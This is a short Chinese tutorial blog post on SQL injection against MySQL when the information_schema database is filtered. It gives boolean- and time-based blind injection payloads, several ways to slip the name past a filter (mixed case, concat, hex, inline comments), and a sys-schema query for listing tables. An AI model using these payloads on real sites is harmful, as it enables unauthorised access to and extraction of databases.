当前位置: 首页 > news >正文

绕过information_schema库的一些方式

information_schema库的意义:

该数据库mysql其实是个信息数据库,保存着mysql服务器所维护的所有其他数据库信息,所以里面包含了数据库名,表名,字段名等,因此,information_schema 的重要性就在这三点上了,而如果information_schema库被过滤掉了,就只能通过其他方式来处理了。

绕过方式:

1、使用盲注猜测信息:

可以使用布尔盲注、时间盲注,对数据库信息进行猜测(因为是猜测,所以可能需要大量尝试,所以推荐使用脚本解决)

布尔盲注

' and ascii(substr(database(), 1, 1))=97 --

时间盲注:

 ' AND IF(SUBSTR(database(),1,1)='a', SLEEP(0.5), 0) -- 

2、尝试混淆源信息:

  • 修改大小写(我不看好)

    iNformaTIOn_schEma
    
  • 使用字符串进行拼接:

     concat('in','formation_schema')
    
  • 将其转换为16进制:

    696e666f726d6174696f6e5f736368656d61
    
  • 使用内连注释:

    SELECT table_name FROM /*!information_schema*/.tables WHERE table_schema=DATABASE();
    

3、使用其他库:

  • 使用sys数据库(5.7以上)

    SELECT table_name FROM sys.schema_auto_increment_columns;      --获取所有表名	
    

相关文章:

  • 总结一下Java中的线程池的面试问题
  • ms-swift 3.x和2.x中参数不一致的暗坑
  • string类详解(下)
  • Spark内存并行计算框架
  • 设计模式教程:模板方法模式(Template Method Pattern)
  • 体验腾讯tencent-deepseek-R1模型
  • 计算机毕业设计SpringBoot+Vue.js中小企业设备管理系统(源码+文档+PPT+讲解)
  • Linux: 已占用接口
  • 自动驾驶FSD技术的核心算法与软件实现
  • 【NLP面试八股-NLP常见面试问题详细回答】
  • 深度学习相关名词功能总结
  • AXI协议详解及FPGA仿真
  • 51 哈希表的实现
  • C++进程崩溃常见原因列举
  • 差旅费控平台作用、功能、11款主流产品优劣势对比
  • 202年充电计划——自学手册 网络安全(黑客技术)
  • 链表-回文链表
  • Spring Boot集成MyBatis访问MySQL:从项目搭建到基础数据库查询(基础入门)
  • 网络安全考什么证_网络安全认证:软考证书成行业新宠
  • URL 对字母大小写敏感么?
  • 443是端口网站建设/郑州百度推广代运营
  • wordpress开源博客系统最新版/成都移动seo
  • 医学ppt模板下载免费/优化网站制作方法大全
  • 国外网站怎样建设/软文是什么文章
  • 网站负责人拍照/手机系统优化工具
  • 直播开放平台/seo chinaz